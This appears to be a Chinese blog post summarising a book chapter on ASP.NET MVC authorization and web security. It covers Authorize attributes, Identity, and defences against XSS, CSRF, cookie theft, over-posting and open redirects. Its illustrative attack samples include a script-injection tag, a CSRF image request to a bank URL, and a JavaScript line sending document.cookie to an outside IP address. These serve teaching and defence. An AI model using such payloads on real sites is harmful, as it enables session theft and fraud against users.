第7章 成员资格、授权(Authorize、ASP.NET Identity、OAuth和OpenID的外部登录)和安全性

来源:互联网 发布:淘宝小号怎样申请 编辑:程序博客网 时间:2024/05/20 20:48

7.1 安全性:无趣、但极其重要

7.2 使用Authorize特性登录

       使用Authorize特性来阻止用户匿名访问控制器或控制器操作

7.2.1 保护控制器操作

        单控制器:控制器上添加 [Authorize]特性


        全部控制器:将AuthorizeAttribute注册为全局过滤器,在\App_Start\FilterConfig.cs文件中
        public static void RegisterGlobalFilters(GlobalFilterCollection filters)        {            filters.Add(new System.Web.Mvc.AuthorizeAttribute());            filters.Add(new HandleErrorAttribute());        }

       在控制器上添加[AllowAnonymous]特性,跳过授权


7.2.2 Authorize特性在表单身份验证和AccountController控制器中的用法


7.2.3 Windows Authentication
选择Windows Authentication选项时,身份验证实际上是由Web浏览器、Windows和IIS在应用程序外部处理。
(1)、需要在Web.config添加<authentication mode="Windows" />

(2)、vs的IIS Express设置

 (3)、IIS设置



7.3 要求角色成员使用Authorize特性

        //授权角色、授权用户
        [Authorize(Roles="Administrator",Users="Jon,Phil")]


7.4 扩展用户身份 ASP.NET Identity

          7.4.1 存储额外的用户资料数据
          7.4.2 持久化控制

          7.4.3 管理用户和角色


7.5 通过OAuth和OpenID的外部登录

         OAuth和OpenID是开放的授权标准。

         这些协议允许用户使用他已有的账户登录我们的网站,这些账户必须来自他们信任的网站(称为提供器)。


        7.5.1 注册外部登录提供器
        7.5.2 配置OpenID提供器
        7.5.3 配置OAuth提供器

        7.5.4 外部登录的安全性


7.6 Web应用程序中的安全向量

7.6.1 威胁:跨站脚本 (XSS)

(1)、威胁概述
(2)、被动注入
XSS通过向接收用户输入的网站中注入脚本代码来实现。
如:在内容中输入<,提交表单,发现页面源代码还是<,没被替换成&lt;,这表示可以使用XSS攻击。
现在动手了,输入<script src="网址"></scritp>,当用户访问网站时,这些恶意的脚本将会执行一些恶意操作,

比如讲用户的cookies或数据发送到黑客自己的网站站。


(3)、主动注入

用户直接参与攻击,不会傻坐在那里等待倒霉的用户来上钩。
如:在搜索输入框中,写一个输入文本框表格的Html,查询结果就出现一个文本输入框。会造成浏览这输入登录信息。


(4)、阻止XSS

A、对所有内容进行Html编码

       Html.Encode(Html编码)或Html.AttributeEncode(Html特性编码)

       Razor视图引擎默认对输出内容采用HTML编码。我们可以使用HTML辅助方法输出@Html.Raw()

B、Html.AttributeEncode和Url.Encode

C、JavaScript编码

使用Ajax.JavaScriptStringEncode辅助函数对在JavaScript中使用的字符串进行编码。

或使用AntiXSS库,这个方法比较彻底。

D、将AntiXSS库作为ASP.NET的默认编码器

.NET 4.5及更高版本包含AntiXSS编码器。要使用AntiXSS库,只需要在web.config的httpRuntime中添加如下代码:


  <system.web>

    <httpRuntime targetFramework="4.5" encoderType="System.Web.Security.AntiXss.AntiXssEncoder,System.Web,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a" />

  </system.web>


NET 4.5中包含的AntiXSS库内容如下所示:

HtmlEncode、HtmlFormUrlEncode和HtmlAttributeEncode

XmlAttributeEncode和XmlEncode

UrlEncode和UrlPathEncode

CssEncode 


使用方法:引用AntiXSS编码器名称空间 @using Microsoft.Security.Application

var message = 'Wellcome, @Encoder.JavaScriptEncode(ViewBag.UserName,false)!';


安装AntiXSS NuGet包方法:http://www.cnblogs.com/qiaoyang/archive/2013/06/16/3138813.html


7.6.2 威胁:跨站请求伪造(CSRF)

CSRF攻击实例

       受害者 Bob 在银行有一笔存款,通过对银行的网站发送请求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款转到 bob2 的账号下。通常情况下,该请求发送到网站后,服务器会先验证该请求是否来自一个合法的 session,并且该 session 的用户 Bob 已经成功登陆。
        黑客 Mallory 自己在该银行也有账户,他知道上文中的 URL 可以把钱进行转帐操作。Mallory 可以自己发送一个请求给银行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是这个请求来自 Mallory 而非 Bob,他不能通过安全认证,因此该请求不会起作用。
        这时,Mallory 想到使用 CSRF 的攻击方式,他先自己做一个网站,在网站中放入如下代码:<img src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,并且通过广告等诱使 Bob 来访问他的网站。当 Bob 访问该网站时,上述 url 就会从 Bob 的浏览器发向银行,而这个请求会附带 Bob 浏览器中的 cookie 一起发向银行服务器。大多数情况下,该请求会失败,因为他要求 Bob 的认证信息。但是,如果 Bob 当时恰巧刚访问他的银行后不久,他的浏览器与银行网站之间的 session 尚未过期,浏览器的 cookie 之中含有 Bob 的认证信息。这时,悲剧发生了,这个 url 请求就会得到响应,钱将从 Bob 的账号转移到 Mallory 的账号,而 Bob 当时毫不知情。等以后 Bob 发现账户钱少了,即使他去银行查询日志,他也只能发现确实有一个来自于他本人的合法请求转移了资金,没有任何被攻击的痕迹。而 Mallory 则可以拿到钱后逍遥法外。 

如何阻止CSRF攻击?

(1)、令牌验证

MVC框架提供了一个阻止CSRF攻击的好方法。

每个表单请求中插入一个包含唯一值的隐藏输入元素。

    <form action="/account/register" method="post">

        @Html.AntiForgeryToken()

    </form>

会生成一个隐藏的输入元素

<input type="hidden" value="ADFSefefefeewgcccc2424d"/>

该值将与作为会话的cookie存储在用户浏览器中的另一个值相匹配。

控制器添加特性:

[ValidateAntiforgeryToken]

public ActionResult Register(){}

注意:这种方式阻止不了机器人

(2)、幂等的GET请求
          重复执行多次而不改变执行结果。

(3)、HttpReferrer验证

提交表单值的客户端是否确实在目标站点上

    //创建特性    public class IsPostedFromThisSiteAttribute:AuthorizeAttribute    {        public override void OnAuthorization(AuthorizationContext filterContext)        {            if(filterContext.HttpContext!=null)            {                if (filterContext.HttpContext.Request.UrlReferrer == null)                    throw new System.Web.HttpException("无效提交");                if(filterContext.HttpContext.Request.UrlReferrer.Host!="mysite.com")                    throw new System.Web.HttpException("提交需要来自本网站");            }        }    }

             然后在Register方法上添加这个过滤器,代码如下:
[IsPostedFromThisSite]
public ActionResult Register(.....)


7.6.3 威胁:cookie盗窃

(1)、威胁概述

网站使用的cookie来存储页面请求或浏览会话之间的信息。

cookis主要有两种形式:

A、会话cookie:会话cookie存储在浏览器的内存中,在浏览器的每次请求中通过http头信息进行传递。

B、持久性cookie:存储于硬盘上实际文本文件中。



区别:会话cookie:站点在会话结束时忘记会话cookie
              持久cookie:在下一次访问站点时,站点任然记得它。


通过XSS注入攻击,想用户资料页面添加一段脚本,JavaScript代码如下:

window.location="http://1.2.3.4:81/r.php?u"+document.link[1].text+"&l="document.links[1]+"&c="+document.cookie;

此时,如果浏览器加载了这个注入脚本的用户资料页面,它就会在cookie传递http://1.2.3.4:81/r.php


(2)、使用HttpOnly阻止cookie盗窃

为攻击提供便利的主要有两方面内容:

XSS漏洞、Cookie缺陷(没将cookie设置为禁止来自客户端浏览器的修改)



解决方法:停止脚本对站点中cookie的访问。

在web.config文件中对所有cookie进行设置,代码如下所示:

<system.web>

         <httpCookies domain="" httpOnlyCookies="true" requireSSL="false"/>

</system.web>

也可在程序中为编写的每个cookie单独设置,代码如下:

Response.Cookies["MyCookie"].Value="aaaaa";

Response.Cookies["MyCookie"].HttpOnly=true;

这个标志的设置会告诉浏览器,除了服务器修改或设置cookie之外,其他一些对cookie的操作均无效。


7.6.4 威胁:重复提交

模型绑定是ASP.Net MVC 提供的一个强大功能,它遵照命名约定把输入元素映射到模型属性从而极大的简化了处理用户输入的过程。

漏洞:给攻击者提供一个填充模型属性的机会,有些时候填充的这些属性甚至都没有在输入的表单中。


(1)、威胁

如果填充了Approved属性,那么这条记录直接通过审核。
(2)、使用Bind特性防御重复提交攻击
方法一:允许绑定Include,不允许绑定Exclude

//允许绑定的字段

[Bind(Include="Name,Comment")]

public class Review{

public int ReviewID{get;set;}

public int ProductID{get;set;}

public Product product{get;set;}

public string Name{get;set;}

public string Comment{get;set;}

public bool Approved{get;set;}

}



方法二:使用UpdateModel或TryUpdateModel方法的一个重载版本来接收一个绑定列表

UpdateModel(review,"Review",new string[]{"Name","Comment"});


方法三:只设置用户提交的属性

public class Review{

public string Name{get;set;}

public string Comment{get;set;}

}


7.6.5 威胁:开放重定向

ASP.NET MVC 3之前,AccountController很容易遭受开放重定向攻击。
(1)、威胁概述
             请求(如查询字符串和表单数据)指定重定向URL的Web应用程序可能会被篡改,而把用户重定向到外部的恶意URL。


A 、一个简单的开放重定向攻击
            在没有登录的情况下,访问带有[Authorize]特性的/Account/ChangePassword,就会重定向到/Account/LogOn?ReturnUrl=%2fAccount%2fChangePassword%f页面。
ReturnUrl=%2fAccount%2fChangePassword%f为登录后返回/Account/ChangePassword,由于没有对ReturnUrl查询字符串参数进行验证,因此攻击者可以修改这个参数,从而向其中注入任意URL地址来实现开放重定向攻击。
对ReturnUrl进行修改,/Account/LogOn?ReturnUrl=http://www.bing.com/一旦登录成功,被重定向到http://www.bing.com/页面。


B、一个复杂的开放重定向攻击(钓鱼攻击)
      发送一个假的链接,/Account/LogOn?ReturnUrl=http://www.AAA.com/,当浏览者点击连接后,登录后,会跳转到http://www.AAA.com/个网站。
这个连接的界面和原网站的界面一样,要求登录,浏览者以为没登录成功,再次输入密码,网站就获取了用户名、密码。


C、AccountController控制器中操作LogOn的脆弱代码。
解决方法:Url.IsLocalUrl 指定链接是否是本地链接
MVC5解决方法:

        [HttpPost]        [AllowAnonymous]//允许匿名访问该网址        [ValidateAntiForgeryToken]//跨站请求伪造(CSRF)        public async Task<ActionResult> Login(LoginViewModel model, string returnUrl)        {            if (ModelState.IsValid)            {                var user = await UserManager.FindAsync(model.UserName, model.Password);                if (user != null)                {                    await SignInAsync(user, model.RememberMe);                    return RedirectToLocal(returnUrl);                }                else                {                    ModelState.AddModelError("", "Invalid username or password.");                }            }            // 如果我们进行到这一步时某个地方出错,则重新显示表单            return View(model);        }

        private ActionResult RedirectToLocal(string returnUrl)        {            //指定链接是否是本地链接            if (Url.IsLocalUrl(returnUrl))            {                return Redirect(returnUrl);            }            else            {                return RedirectToAction("Index", "Home");            }        }

7.7 适当的错误报告和堆栈跟踪

网站发布后,mode="On",将隐藏错误提示信息

 <customErrors mode="On" defaultRedirect="GenericErrorPage.htm"> 
     <error statusCode="403" redirect="403.htm" /> 
     <error statusCode="404" redirect="404.htm" /> 
</customErrors>

7.7.1 使用配置转换

7.7.2 在生产环境中使用Retail部署配置

部署配置服务器的machine.config文件(C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config)
<system.web>
<deployment retail="true"/>
</system.web>

deployment retail="true",将会影响以下几个项设置:

(1)customErrors模式被设置为On,也就是最安全的设置。

(2)、禁止跟踪输出。

(3)、禁止调试。

这些设置可以覆盖web.config文件中所有应用程序级别的设置。


7.7.3 使用专门的错误日志系统

事实上,最好的解决方法是在任何环境中都不关闭自定错误。
可以使用ELMAH把错误日志写入到一个不在网站上公布的数据表中。

可登陆http://code.google.com/p/elmah/


7.8 安全回顾和有用资源

XSS:使用HTML编码所有内容。编码特性。记住JavaScript编码。使用AntiXSS类
CRSF:令牌验证。幂等的GET请求。HttpReferrer验证。
重复提交:使用Bind特性显式地绑定白名单字段。谨慎使用黑名单


7.9 小结


推荐阅读:

MVC 如何防止XSS、SQL注入攻击
http://blog.csdn.net/litao2/article/details/8823248


MVC Html.AntiForgeryToken() 防止CSRF攻击
http://blog.csdn.net/litao2/article/details/8823099


在ASP.NET MVC应用程序中防止JavaScript注入式攻击
http://blog.csdn.net/litao2/article/details/8820165

阅读全文
0 0